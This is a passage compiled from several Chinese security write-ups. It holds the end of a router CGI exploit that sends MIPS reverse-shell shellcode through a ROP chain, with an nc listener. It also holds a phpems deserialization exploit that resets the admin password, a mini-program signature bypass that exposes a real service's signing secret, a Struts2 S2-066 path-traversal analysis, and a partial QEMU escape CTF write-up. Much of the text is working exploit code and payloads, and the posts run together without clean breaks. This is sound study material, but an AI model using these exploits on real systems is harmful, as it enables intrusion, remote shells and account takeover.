sw $t1, -8($sp)
sw $zero, -4($sp)
addiu $sp, $sp, -0xc
slti $a1, $zero, -1
sw $a1, -4($sp)
addi $sp, $sp, -4
addiu $t9, $zero, -5
not $a1, $t9
add $a1, $sp, $a1
sw $a1, -4($sp)
addi $sp, $sp, -4
add $a1, $sp, $zero
slti $a2, $zero, -1
ori $v0, $zero, 0xfab
syscall
得到:
"\x69\x6e\x09\x3c\x2f\x62\x29\x35\xf8\xff\xa9\xaf\x97\xff\x19\x3c\xd0\x8c\x39\x37\x27\x48\x20\x03\xfc\xff\xa9\xaf\xf8\xff\xbd\x27\x20\x20\xa0\x03\x69\x6e\x09\x3c\x2f\x62\x29\x35\xf4\xff\xa9\xaf\x97\xff\x19\x3c\xd0\x8c\x39\x37\x27\x48\x20\x03\xf8\xff\xa9\xaf\xfc\xff\xa0\xaf\xf4\xff\xbd\x27\xff\xff\x0
监听:
nc -lvp 5566
发现一个好工具:https://bbs.kanxue.com/thread-275619-1.htm
利用以上shellcode,成功反弹shell:
完整exp如下:
import http.client
from evilblade import *
set("./cgibin")
# 创建HTTP连接
conn = http.client.HTTPConnection("192.168.0.1")
## XOR $t0, $t0, $t0,相当于 nop,因为nop是\x00不能发送,会被sprintf截断
nop = "\x26\x40\x08\x01"
#libc基地址
libc = 0x77f34000
#gadget
gadget = 0x159cc+libc
gadget2 = libc+0x158c8
print(p32(gadget))
print(p32(gadget2))
sys = libc + 0x531ff
print(p32(sys))
dx(sys)
sys_ = '\xffq\xf8w'
gad_sp = "\xcc\x99\xf4w"
gad_to_s5 = "\xc8\x98\xf4w"
stg3_SC ="\x22\x02\x04\x24\xe0\xfd\x84\x20\x22\x02\x05\x24\xe0\xfd\xa5\x20\x22\x02\x06\x24\xde\xfd\xc6\x20\x57\x10\x02\x24\x0c\x01\x01\x01"
#socket(2,1,0)
stg3_SC += "\xe0\x01\xa2\xaf"
#sw $v0,260($sp)
stg3_SC += "\xe0\x01\xa4\x8f\x22\x02\x05\x24\xde\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x22\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x23\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01"
#dup2
stg3_SC += "\xe0\x01\xa4\x8f\x11\x01\x06\x24\xff\xfe\xc6\x20\x15\xbe\x0e\x3c\x03\x02\xce\x35\xff\xfd\xce\x21\xd4\x01\xae\xaf\x02\x03\x0f\x3c\xc1\xa9\xef\x35\xfd\xfe\x01\x3c\xff\xfe\x21\x34\x20\x78\xe1\x01\xd8\x01\xaf\xaf\xd4\x01\xa5\x27\x4a\x10\x02\x24\x0c\x01\x01\x01"
#connect
stg3_SC += "\x69\x6e\x0e\x3c\x2f\x62\xce\x35\x69\x01\x0f\x3c\x30\x74\xef\x35\xfe\xfe\x01\x3c\xff\xfe\x21\x34\x20\x78\xe1\x01\x2c\x01\xae\xaf\x30\x01\xaf\xaf\x34\x01\xa0\xaf\x2c\x01\xa4\x27\x2d\x69\x0f\x24\x38\x01\xaf\xaf\x40\x01\xa4\xaf\x44\x01\xa0\xaf\x02\x01\x06\x24\xfe\xfe\xc6\x20\x40\x01\xa5\x27
#execve
# stg3_SC += "\x24\x02\x02\x9a\x24\x04\x02\x9a\x20\x42\xfd\x76\x20\x84\xfd\x66\x01\x01\x01\x0c"
#exit
print(stg3_SC.encode(),len(stg3_SC))
payload = cyclic(973).decode() + gad_to_s5 + "cccc" + gad_sp*8 + "dddd"*4 + stg3_SC
# 设置请求头
headers = {
'Content-Length': '21',
'accept-Encoding': 'deflate',
'Connection': 'close',
'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',
'Host': '192.168.0.1',
'Cookie': 'uid='+payload,
'Content-Type': 'application/x-www-form-urlencoded'
}
# 发送POST请求
conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers)
# 获取响应
pause()
response = conn.getresponse()
# 打印响应状态码和响应内容
print(response.status, response.read().decode())
# 关闭连接
conn.close()
至此完成复现。
2024西湖论剑-phpems-代码审计
前言
2024西湖论剑数据安全题,系统是phpems,修改了默认密码,需要利用CVE登上去
CVE-2023-6654 ,菜鸟学习,大佬多指点
0x01环境搭建
https://phpems.net/index.php 源码
config.inc.php修改相应数据库配置
数据库运行pe9.sql文件建立数据库
0x02代码审计
根据题目提示是CVE2023-6654
漏洞点在session.cls.php
查看session.cls.php代码
查看ginkgo
其make方法会判断$G拼接的文件名是否存在,也就是lib文件下的.cls.php文件,存在的就会包含这个文件
pepdo,ev,pdosql,strings是这里面分别包含的文件,根据CVE披露得知是反序列化漏洞,搜索反序列化点。
strings.cls.php中有利用点
getSessionId()方法里面有调用decode
key值为CS,CS值在config.inc.php中,题目环境是修改的
使用如下代码可以解密出明文,因为我们知道key
<?php
define('CS','1hqfx6ticwRxtfviTp940vng!yC^QK^6');
$info="%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3e%2594%25B4%257F%2596%2599b%259C%25D5%259C%25AAi%25A6%259A%2597%25AE%258B%25AC%25D7%25C9%25DB%25CF%258B%25D5%259Ei%2596%25AA%25D0%259DQ%25A9v%2580%258C%25BE%2598ok%258A%25E4%2
$key = CS;
$info = urldecode(urldecode($info));
$kl = strlen($key);
$il = strlen($info);
for($i = 0; $i < $il; $i++)
{
$p = $i%$kl;
$info[$i] = chr(ord($info[$i])-ord($key[$p]));
}
echo $info;
encode代码
public function encode($info)
{
$info = serialize($info);
$key = CS;
$kl = strlen($key);
$il = strlen($info);
for($i = 0; $i < $il; $i++)
{
$p = $i%$kl;
$info[$i] = chr(ord($info[$i])+ord($key[$p]));
}
return urlencode($info);
}
decode代码
public function decode($info)
{
$key = CS;
$info = urldecode($info);
$kl = strlen($key);
$il = strlen($info);
for($i = 0; $i < $il; $i++)
{
$p = $i%$kl;
$info[$i] = chr(ord($info[$i])-ord($key[$p]));
}
$info = unserialize($info);
return $info;
}
可以看出里面这个$p值是循环的,加密的出来的值等于其ascll值相加,
encode是明文+key=密文
decode是密文-key=明文
key=密文-明文
key的长度是32位,也就是我们得到的密码每32位一循环,那么如果我们知道密文中其中一段32位的明文,就可以算出来key了
ev.cls.php
可以确认这个ip是可控的,也就是这个值是可控的
a:3:{s:9:"sessionid";s:32:"6c48c14d623214794ccef7ee5f4b6003";s:9:"sessionip";s:9:"127.0.0.1";s:16:"sessiontimelimit";i:1706957115;}
去掉前面的64位,往后顺延32为取出来,值如下
:"sessionip";s:9:"127.0.0.1";s:1
解密脚本
<?php
$info="%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3ebjfel%2596%25CD%25D7%25CA%25A8k%25D5%259F%259A%25A9%25B6%25A8%25A4%2598%25AC%2599%2589%25A5p%2596%2593%25AC%25A6%259FZ%25DBuSm%25A6nnk%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1
$key = CS;
$info = urldecode(urldecode($info));
$info1=substr($info,64,32);
//echo $info1;
$ed=strlen($info1);//也就是32
$dc=32;
$sessip=':"sessionip";s:9:"127.0.0.1";s:1';
for ($i=0;$i<$ed;$i++)
{
$p=$i%$dc;
$info1[$i]=chr(ord($info1[$i])-ord($sessip[$p]));
}
echo $info1;
//1hqfx6ticwRxtfviTp940vng!yC12345
构造反序列化链子
session.cls.php的__destruct() 关键代码
$sql = $this->pdosql->makeUpdate($data);
$this->db->exec($sql);
{width="7.333333333333333in"
height="2.8976049868766403in"}
这里可以看出分别需要db和pdosql,以此达到反序列化修改数据库密码,
构造链子 session::__destruct()->pdosql::makeUpdate->pepdo::exec
0x03漏洞复现
这里使用网上师傅的EXP
<?php
namespace PHPEMS
{
class session
{
public function __construct()
{
$this->sessionid="1111111";
$this->pdosql= new pdosql();
$this->db= new pepdo();
}
}
class pdosql
{
private $db;
public function __construct()
{
$this->tablepre = 'x2_user set
userpassword="a10adc3949ba59abbe56e057f20f883e" where
username="peadmin";#--';
$this->db=new pepdo();
}
}
class pepdo
{
private $linkid = 0;
}
}
namespace {
define('CS1','1hqfx6ticwRxtfviTp940vng!yC12345');
function encode($info)
{
$info = serialize($info);
$key = CS1;
$kl = strlen($key);
$il = strlen($info);
for($i = 0; $i < $il; $i++)
{
$p = $i%$kl;
$info[$i] = chr(ord($info[$i])+ord($key[$p]));
}
return urlencode($info);
}
$session = new PHPEMSsession();
$array = array("sessionid"=>"123123123", $session);
echo serialize($array)."n";
echo(urlencode(encode($array)))."n";
}
实战中我们的ip是可以伪造的
关键代码点
需要先创建pepdo和pdosql
pdosql.cls.php的makeUpdate是用来生成sql语句的
$tb_pre = $this->tablepre
所以这个sql语句参数可控
0x04总结
函数是关键,研究下是否能可控这个反序列化的参数值,并且反序列化中能够调用危险函数。
小程序绕过 sign 签名
之前看到了一篇文章【小程序绕过sign签名思路】之前在做小程序渗透时也遇到了这种情况,但是直接放弃测试了,发现这种思路后,又遇到了这种情况,记录下过程。
并没有漏洞分享,仅仅是把小程序也分享出来,方便大家测试学习。
小程序 父母邦亲子旅行酒店营地乐园活动。
在登录时验证码登录的数据包
POST /wxapp/login/send_messages?format=json HTTP/1.1
Host: api.fumubang.com
Content-Length: 118
Xweb_xhr: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090819) XWEB/8555
Content-Type: application/json
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://servicewechat.com/wxef0aac3d44dcda51/214/page-frame.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"phone_num":"XXXXXXXX","version":"3.3.9","scene":1053,"appid":648481988,"sign":"85a840e3674201f2606b8b65f914b912"}
我们直接修改手机号,重放数据包。
提示签名失败。
打开对应的路径 C:\Users\1\Documents\WeChat Files\Applet
将目录下所有文件全部删除 并重新打开小程序,此时生成的唯一文件夹,就是对应的该小程序的代码。
对小程序进行反编译
因为有一些依赖于 wx 所以只能提供思路
我们看到 sign 的创建流程
所以只需要构造满足 i.sign = a.create_sign(i, "d19e4abd1036063faa4218c139378c0e"); 就好啦。
初期思路是这样子的
但是因为存在 wx 的依赖,无法运行成功,但是加密是在本地处理的,这样构造应该是不对的。
柳暗花明
我们加入调试
发现第一个请求的数据包 /wxapp/index/get_kefu_phone 不需要登录就可以访问到这个界面,同时界面里也有 sign 参数。
利用微信开发者工具进行模拟操作。
加入断点
继续步入
可以添加字段 查看对应的值。
继续步入
该函数首先创建一个空数组 e ,然后通过 Object.keys(r).sort() 获取对象 r 的所有键,并进行排序。遍历排序后的键数组,判断键值是否符合特定条件,并将满足条件的键值对拼接成字符串并存入数组 e 中。 最后得到的值是:
scene=1001&version=5.0.6d19e4abd1036063faa4218c139378c0e
返回值为 64d78d749828368851331593fa1e1ceb
就是对应字符串生成的 md5 的值。
我们修改一下数据包
发送成功。
修改手机号的数据包
将手机号修改后 提示签名失败。
phone_num=1xxxxxxxxx9&scene=1053&version=3.3.9d19e4abd1036063faa4218c139378c0e
a90b19243e471d648d8eb5022d48066c
phone_num=1xxxxxxxxx2&scene=1053&version=3.3.9d19e4abd1036063faa4218c139378c0e
85a840e3674201f2606b8b65f914b912
所以我们把代码稍微修改一下
"use strict";
var a = require("./md5.js");
var i = {"phone_num":"1xxxxxxxxxx2","version":"3.3.9","scene":1053,"appid":648481988}
i.sign = a.create_sign(i, "d19e4abd1036063faa4218c139378c0e");
console.log(i);
成功破解了 sign 签名,可以发送任意数据包。
S2-066漏洞分析与复现(CVE-2023-50164)
Foreword
自struts2官方纰漏S2-066漏洞已经有一段时间,期间断断续续地写,直到最近才完成。羞愧地回顾一下官方通告:
2023.12.9发布,编号CVE-2023-50164,主要影响版本是 2.5.0-2.5.32 以及 6.0.0-6.3.0,描述中提到了文件上传漏洞和目录穿越漏洞。开始以为这是个组合漏洞,其实不是,这是一个漏洞,看了几篇大佬的文章,有的把它称为“文件上传目录穿越漏洞”,也有道理。
Prepare
准备工作就是搭建项目,用Tomcat跑,调试好断点,回顾下struts2的结构。篇幅有限,这里只贴一张struts2自身的配置文件:
struts2有众多的Filter和Intercepter,它的配置逻辑是,除文件中定义的class、package以外,其余全部拦截。对于S2-066,处理一个请求要经过的几个关键类包括Dispatcher、Interceptor、HttpParameters以及UploadAction。使用下面的poc:
Dispatcher
请求首先会进入著名的Dispatcher。multi参数对应的就是body数据,包含upload、fileName、contentType三个变量,无误:
request中还有一个参数,uploadFileName=../../z127.txt,这个是污染参数,文件上传的目的地,也是利用这个漏洞的目标。
走到这里Dispatcher只是简单处理一下请求然后交给Interceptor,无异常。
FileUploadInterceptor
拦截器先是把request包装了一下,类型是MultiPartRequestWrapper。
这里与Dispatcher一样,请求参数还是multi和request两部分,也无异常。
并且遍历只有一次 ,因为真正的body只有一个,就是那个multi。
在遍历过程中struts2还出现了硬编码现象,要求文件名参数必须以FileName结尾,且拼接完成的文件名前缀就是body中的{upload}名称,这就给exp带来了一定限制:
此外,注意这里的279行:
// get the name of the file from the input tag
String[] fileName = multiWrapper.getFileNames(inputName);
使用的是MultiPartRequest接口的方法,而这个接口在S2-066中是由JakartaMultiPartRequest实现。使用下面这个poc进行目录穿越并断点检测一下:
发现目录穿越失败,文件没有放在指定目录下。分析源码:
参数覆盖原本想用../../z126.txt,方法的输入参数确实也是这样接收的,但在这个方法中struts2会对文件名进行截断,最终输出的文件名会变为 z126.txt,文件也就不会出现目录穿越的现象。因此目录穿越不是发生在这里,让struts2自己背这个锅多少有点冤。body中的数据组装完毕是下面这样,size等于3,依旧无误:
HttpParameters
来到HttpParameters查看接收的参数,还是upload、contentType、fileName三个:
但是参数接收完后就不正常了,除了原本的UploadFileName(注意首字母是大写),还多了一个uploadFileName(注意首字母是小写),size也变成了4。这就是Struts2官方所解释的大小写敏感,即对大写的Upload和小写的upload分别做处理。从这里开始,S2-066才露出真正面目:
HttpParameters实现了Map接口,所以本质上它还是一个map,这也是组装参数最常用的方式。但不管是HashMap还是TreeMap,自己不会出现覆盖的问题。用一个小实验证明:
走到这里,HttpParameters对参数的处理开始出现异常,但依然没有发生覆盖。
UploadAction
终于到Action了。引用一段struts2官方的描述:
An attacker can manipulate file upload params to enable paths traversal and under some circumstances this can lead to uploading a malicious file which can be used to perform Remote Code Execution.
通过操控上传参数,黑客能够出发目录穿越漏洞,这样一来,在某些情况下可以上传恶意文件,从而进行RCE。换种说法,S2-066是框架自身、软件工程师、Java反射机制共同作用的结果。走到这里,为了简化代码,UploadAction即是Action又是Entity。而在Entity的实例化过程中,必然是通过setXX属性来赋值。所以就有了setUploadFileName(注意首字母大写)和setuploadFileName(注意首字母小写)的需求 。而在Entity的setter与getter中,这两种需求都会被当做一种,即setUploadFileName,因此覆盖也就发生了。正常情况下实例化方
而setUploadFileName第一遍是z106.txt:
第二遍是../../z127.txt:
实例化完成后,uploadFileName属性已被覆盖:
查看物理路径,上传成功:
POCs
参数不是filename结尾,失败:
参数不符合FileName大小写要求,失败:
大写覆盖小写失败:
大写覆盖大写失败:
小写覆盖小写失败:
小写覆盖大写成功,文章开头所用。另外覆盖也可以放在body中:
验证:
利用条件多少有点苛刻,但杀伤力不输struts2过去那一堆,CVSS3.0评分9.8,CRITICAL。
从 VNCTF2024 的一道题学习QEMU Escape
说在前面
本文的草稿是边打边学边写出来的,文章思路会与一个“刚打完用户态 pwn 题就去打 QEMU Escape ”的人的思路相似,在分析结束以后我又在部分比较模糊的地方加入了一些补充,因此阅读起来可能会相对轻松。(当然也不排除这是我自以为是)
https://github.com/xtxtn/vnctf2024-escape_langlang_mountain2wp[1] 题目分析流程
[1-1] 启动文件分析
读 Dockerfile,了解到它在搭起环境以后启动了start.sh,
再读 start.sh,了解到它启动了 xinetd 程序
再读 xinetd,这个程序的主要作用是监听指定 port,并根据预先定义好的配置来启动相应服务。可以看到 server_args 处启动了 run.sh
再读 run.sh,发现它用 QEMU 起了一个程序,通过 -device vn 我们可以知道 vn 是作为 QEMU 中的一个 pci设备 存在的。
通过 IDA 查找字符串 vn_ 可以找到 vn_instance_init,跟进调用 字符串vn_instance_init 的 函数vn_instance_init,再按 x 查看 函数vn_instance_init 的引用,可以看到下面还有一个 vn_class_init ,反汇编后看到
__int64 __fastcall vn_class_init(__int64 a1)
{
__int64 result; // rax
result = PCI_DEVICE_CLASS_23(a1);
*(_QWORD *)(result + 176) = pci_vn_realize;
*(_QWORD *)(result + 184) = 0LL;
*(_WORD *)(result + 208) = 0x1234; // 厂商ID (Vendor ID)
*(_WORD *)(result + 210) = 0x2024; // 设备ID (Device ID)
*(_BYTE *)(result + 212) = 0x10;
*(_WORD *)(result + 214) = 0xFF;
return result;
}
通过厂商ID和设备ID,我们可以判断下列 pci 设备中 00:04.0 Class 00ff: 1234:2024 就是我们要找的 vn
/sys/devices/pci0000:00/0000:00:04.0 # lspci
lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:2024
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
进而去/sys/devices/pci0000:00/0000:00:04.0 目录查看该设备 mmio 与 pmio 的注册情况
/sys/devices/pci0000:00/0000:00:04.0 # ls -al
...
...
-r--r--r-- 1 0 0 4096 Feb 18 12:18 resource
-rw------- 1 0 0 4096 Feb 18 12:18 resource0
...
...
有了 resource0 这个文件,我们就可以在exp里 mmap 做虚拟地址映射。
并且我们可以看到 vn 这个设备只注册了 mmio,那就考虑用 https://ctf-wiki.org/pwn/virtualization/qemu/exploitation/intro/#_3
[1-2] 静态分析
如果我写的不够清楚,读者可以参考 https://github.com/rcvalle/blizzardctf2017/blob/master/strng.c这一实现,读完这段代码会对 pci 设备的了解提升一个台阶。
我们先补充一些概念:
QEMU 提供了一套完整的模拟硬件给 QEMU 上的 kernel 来使用,而 -device 参数为 kernel 提供了模拟的 pci 设备。
如果 kernel 实现了类似 linux 的 rootfs,我们就可以通过 lspci 来查看相关 pci,并在/sys/devices/...找到 pci 设备启动时 kernel 分配给 pci 的资源,也就是 resource0 等,这也是前文提到过的。
resource0 可以看作是一大片开关,当我们修改 resource0 中的内容时,可以看做对应开关被启动,pci设备也随着开关的启动而变化,具体表现为“控制寄存器、状态寄存器以及设备内部的内存区域 随着 resource0 的变化而变化”
所以我们可以 open resource0 这个文件,用 mmap 映射它,从而使我们能够在C代码中对 resource0 这片内存进行修改
可是由于 QEMU 也只不过是一个程序,虚拟的 pci 设备意味着,一定有一片内存存储着 pci 相关的数据
关于 pci 存储数据的这一部分好像就涉及 QOM 了,还没太搞懂,总之跟pci_xx_realize, xx_class_init, xx_instance_init 等函数有关
假设我们的调用链是这样的:
docker -> QEMU -> exp
则 docker 会让 QEMU 误以为自己占据全部内存空间,QEMU 会让 exp 认为自己占据全部内存空间
而 QEMU 的 pci 设备的 MemoryRegion 就存储在 QEMU 的堆区上,我们在程序 exp 中读写 resource0,就相当于操控 vn_mmio_read 和 vn_mmio_write 去读写 QEMU 的堆区,如果我们正好修改到 MemoryRegion 的 xx_mmio_ops 指针,就可以劫持控制流。
那么,接下来我们要做的事情就是去读一下 vn_mmio_read 和 vn_mmio_write 的反汇编,了解怎样读写堆区内容。
由于对 QEMU 不是很熟悉,我只能瞎命名,vn_mmio_write 的大体逻辑是
object_dynamic_cast_assert是动态类型转换,我OOP学的很烂所以不清楚这是什么😭,猜测是申请一块堆的地址然后用 ptr 指向这块地址
①如果 op == 0x30 且 ptr[737] == 0
ptr[ ptr[736]/8 + 720 ] = var,并将 ptr[737] 设置为1
②如果 op == 0x10 且 var < 0x3C
ptr[736] = var
这里可以用负数来上溢,从而可以读很大一片空间的内容
③如果 op == 0x20 且 var 的高32位 < 0x3C
ptr[ HIDWORD(var) + 720 ] = (LODWORD)var
同理 vn_mmio_read 也可以分析出来。
下面是我调试代码时画的草图,读者可以等看完“[2] 动态调试”部分以后再回来看这张图,个人认为这样的图对理解程序非常有帮助
通过分析我们可以得知,vn_mmio_write可以实现一些越界写,同理分析 vn_mmio_read 我们可以得知,令可以实现一些越界读,根据反汇编我们可以定制一下这道题的 mmio_read
void mmio_write(uint64_t addr, uint64_t value)
{
*((uint64_t*)(mmio_base + addr)) = value;
}
uint32_t mmio_read(uint64_t addr)
{
return *((uint32_t*)(mmio_base + addr));
}
void mmio_write_idx(uint64_t idx, uint64_t value)
{
uint64_t val = value + (idx << 32);
mmio_write(0x20,val);
}
通过 Shift + F12 查/bin/sh可以跟进到这道题的后门函数0x67429B,我们需要跳转到这里去执行execv("/bin/sh");
现在我们知道了怎样读写堆区,也知道写入什么东西。但我们不知道 ptr[736] 附近是不是 MemoryRegion,而且 QEMU 会启动 pie,我们需要绕过 pie 才能利用后门函数。
所以我们就先读一些内容,看看附近有没有什么能利用的东西
[2] 动态调试
接下来我们需要用 docker 调试 qemu,这里记录一下
# 注: 如果已经提前 docker-compose 好了,则可以直接通过 docker cp 来修改内部文件
docker cp /path/to/file container_name:/whatever/path/you/want/to/file
# 首先将 exp.c 静态编译为二进制文件
gcc exp.c --static -o exp
# 然后解包 rootfs.cpio,参考https://www.jianshu.com/p/f08e34cf08ad 的“调试”部分
hen rootfs.cpio
# 将 exp 放入 /core/usr/bin 中
# 重新打包 roortfs.cpio
gen rootfs.cpio
# 修改 run.sh
vim run.sh
# #!/bin/sh
# ./qemu-system-x86_64 \
# -L ./pc-bios \
# -m 128M \
# -append "tsc=unstable console=ttyS0" \
# -kernel bzImage \
# -initrd rootfs.cpio \
# -device vn \
# -nographic \
# -no-reboot \
# -monitor /dev/null \
# 修改 Dockerfile,在创建容器时安装 qemu-system-x86 gdb,这一步其实在 容器的shell里也能install,可以跳过
vim Dockerfile # 下面内容只是 RUN 部分,其他部分不动
# RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \
# apt-get update && apt-get -y dist-upgrade && \
# apt-get install -y lib32z1 xinetd \
# libpixman-1-dev libepoxy-dev libpng16-16 libjpeg8-dev \
# libfdt-dev libnuma-dev libglib2.0-dev \
# libgtk-3-dev libasound2-dev libcurl4 qemu-system-x86 gdb
# build 与 启动容器
docker-compose build
docker start vnctf
# 启动tmux,分页记为 pane1 和 pane2
# pane1:
docker exec -ti vnctf /bin/bash
# pane2:
docker exec -ti vnctf /bin/bash
# pane1:
./run.sh # 这里运行以后应该是什么也不会出现
# pane2:
ps -ax | grep "qemu-system-x86_64 -L" # 这一步获取 qemu 的进程号PID,用于 (gdb) attach PID
gdb ./qemu-system-x86_64
(gdb) attach PID # 比如 (gdb) attach 406
(gdb) c # 输入完以后看一眼 pane1,如果qemu启动了就等qemu启动
# 如果没启动就继续输入 (gdb) c
# pane1:
# 此时 QEMU 正常运行,我们可以在里面输入一些命令比如ls等查看
cd /usr/bin # 这里是前面解包后的时候 exp 放入的文件夹
./exp
# pane2:
# 此时就可以开始调试了
现在程序正常运行了,我们开始查看读出来的东西有没有什么是能利用的
int main(int argc, char const *argv[])
{
uint32_t catflag_addr = 0x6E65F9;
getMMIOBase();
printf("mmio_base Resource0Base: %p\n", mmio_base);
uint64_t test_low,test_high,test;
for(int i=-1;i>=-30;i--) {
mmio_write(0x10, i*0x8);
test_low = mmio_read(0x20);
mmio_write(0x10, i*0x8 + 0x4);
test_high = mmio_read(0x20);
test = test_low + (test_high << 32);
printf("test%d = 0x%llx\n", -i, test);
getchar();
}
}
/*
/usr/bin # ./exp
mmio_base Resource0Base: 0x7fafa8025000
test1 = 0x0
test2 = 0x0
test3 = 0x0
test4 = 0x0
test5 = 0x55da28130f00
test6 = 0x55da2812ef78
test7 = 0x0
test8 = 0x55da271feb98
test9 = 0x55da27e4f820
test10 = 0x55da2812ef58
test11 = 0x0
test12 = 0x1
test13 = 0x0
test14 = 0x0
test15 = 0x10001
test16 = 0x0
test17 = 0x55da256a335b // -> memory_region_destructor_none
test18 = 0xfebf1000
test19 = 0x0
test20 = 0x1000
test21 = 0x0
test22 = 0x55da271feae0
test23 = 0x55da2812e470
test24 = 0x55da25dd01e0 // -> vn_mmio_ops
test25 = 0x55da2812e470
test26 = 0x55da2812e470
test27 = 0x0
*/
我们逐个地址 x/2gx 一下,最终发现这几个比较有意思的地方
PIE
(gdb) x/2gx 0x55da256a335b
0x55da256a335b <memory_region_destructor_none>: 0xe5894855fa1e0ff3 0xf3c35d90f87d8948
我们在 IDA 中是能搜到这个函数的,它在 QEMU 里的偏移量是 0x82B35B,通过这个我们就可以计算出 docker 加载 QEMU 时的基地址了
heap & MemoryRegion
(gdb) x/2gx 0x55da25dd01e0
0x55da25dd01e0 <vn_mmio_ops>: 0x000055da252d3458 0x000055da252d3502
我们找到了需要的 ops,test24 存的就是 0x55da25dd01e0
所以我们有如下对应关系:
ptr[-24 + 720] -> 0x55da25dd01e0
那很自然的我们就想到,ptr的其他地方存着什么?这附近是不是就是 MemoryRegion?可是我们并没有 (&ptr[-24 + 720]),但我们知道的是 MemoryRegion 存在堆里,所以我们考虑用 find 命令查找(看起来像堆地址的)堆地址附近查找 0x55da25dd01e0 这个值就行
最终我们用到的是 test23 -> 0x55da2812e470
// 查找 [0x55da2812e470,0x55da2812e470+0x1000] 中存放0x55da25dd01e0的地址
(gdb) find 0x55da2812e470, 0x55da2812e470+0x1000, 0x55da25dd01e0
0x55da2812eef0
1 pattern found.
因此我们知道 0x55da2812eef0 存放着我们需要的 0x55da25dd01e0
观察发现这个地址跟我们的 test10 非常近,可以计算一下
(gdb) print(0x55da2812ef58 - 0x55da2812eef0)
$1 = 104
// 104 = 0x68
// 所以 test23 = 0x55da2812eef0 = 0x55da2812ef58 - 0x68 = test10 - 0x68
而我们打印一下更多附近的值,可以看到
(gdb) x/52xg 0x55da2812ef58 - 0x58 - 0x60
0x55da2812eea0: 0x000055da271f1840 0x0000000000000000
0x55da2812eeb0: 0x000055da280e1f00 0x0000000000000001
0x55da2812eec0: 0x000055da2812e470 0x0000000000000001
0x55da2812eed0: 0x0000000000000000 0x0000000000000000
0x55da2812eee0: 0x000055da2812e470 0x000055da2812e470
0x55da2812eef0: 0x000055da25dd01e0 0x000055da2812e470 <- test 24 | 23
0x55da2812ef00: 0x000055da271feae0 0x0000000000000000
0x55da2812ef10: 0x0000000000001000 0x0000000000000000
0x55da2812ef20: 0x00000000febf1000 0x000055da256a335b <- test 18 | 17
0x55da2812ef30: 0x0000000000000000 0x0000000000010001
0x55da2812ef40: 0x0000000000000000 0x0000000000000000
0x55da2812ef50: 0x0000000000000001 0x0000000000000000
0x55da2812ef60: 0x000055da2812ef58 0x000055da27e4f820
0x55da2812ef70: 0x000055da271feb98 0x0000000000000000
0x55da2812ef80: 0x000055da2812ef78 0x000055da28130f00
0x55da2812ef90: 0x0000000000000000 0x0000000000000000
0x55da2812efa0: 0x0000000000000000 0x0000000000000000
0x55da2812efb0: 0x0000000000000000 0x0000000000000000 <- test 0 | -1
0x55da2812efc0: 0x0000000000000000 0x0000000000000000
0x55da2812efd0: 0x0000000000000000 0x0000000000000000
0x55da2812efe0: 0x0000000000000000 0x0000000000000000
0x55da2812eff0: 0x00000000ffffff2c 0x0000000000000000
0x55da2812f000: 0x0000000000000000 0x0000000000000061
0x55da2812f010: 0x000055da2812d3c0 0x000055da273b01d0
0x55da2812f020: 0x0000000000000000 0x000055da25725d5f
0x55da2812f030: 0x0000000000000000 0x000055da25725de1
我们回到 https://ctf-wiki.org/pwn/virtualization/qemu/basic-knowledge/mm/ 里查看一下 MemoryRegion
struct MemoryRegion {
Object parent_obj;
/* private: */
/* The following fields should fit in a cache line */
bool romd_mode;
bool ram;
bool subpage;
bool readonly; /* For RAM regions */
bool nonvolatile;
bool rom_device;
bool flush_coalesced_mmio;
bool global_locking;
uint8_t dirty_log_mask;
bool is_iommu;
RAMBlock *ram_block;
Object *owner;
const MemoryRegionOps *ops;
void *opaque;
MemoryRegion *container; // 指向父 MemoryRegion
Int128 size; // 内存区域大小
hwaddr addr; // 在父 MR 中的偏移量
void (*destructor)(MemoryRegion *mr);
uint64_t align;
bool terminates;
bool ram_device;
bool enabled;
bool warning_printed; /* For reservations */
uint8_t vga_logging_count;
MemoryRegion *alias; // 仅在 alias MR 中,指向实际的 MR
hwaddr alias_offset;
int32_t priority;
QTAILQ_HEAD(, MemoryRegion) subregions;
QTAILQ_ENTRY(MemoryRegion) subregions_link;
QTAILQ_HEAD(, CoalescedMemoryRange) coalesced;
const char *name;
unsigned ioeventfd_nb;
MemoryRegionIoeventfd *ioeventfds;
};
假设我们把 test24 看作上面结构体的 const MemoryRegionOps *ops;
0x55da2812eea0: 0x000055da271f1840
0x55da2812eea8: 0x0000000000000000
0x55da2812eeb0: 0x000055da280e1f00
0x55da2812eeb8: 0x0000000000000001
0x55da2812eec0: 0x000055da2812e470
0x55da2812eec8: 0x0000000000000001
0x55da2812eed0: 0x0000000000000000
0x55da2812eed8: 0x0000000000000000
0x55da2812eee0: 0x000055da2812e470
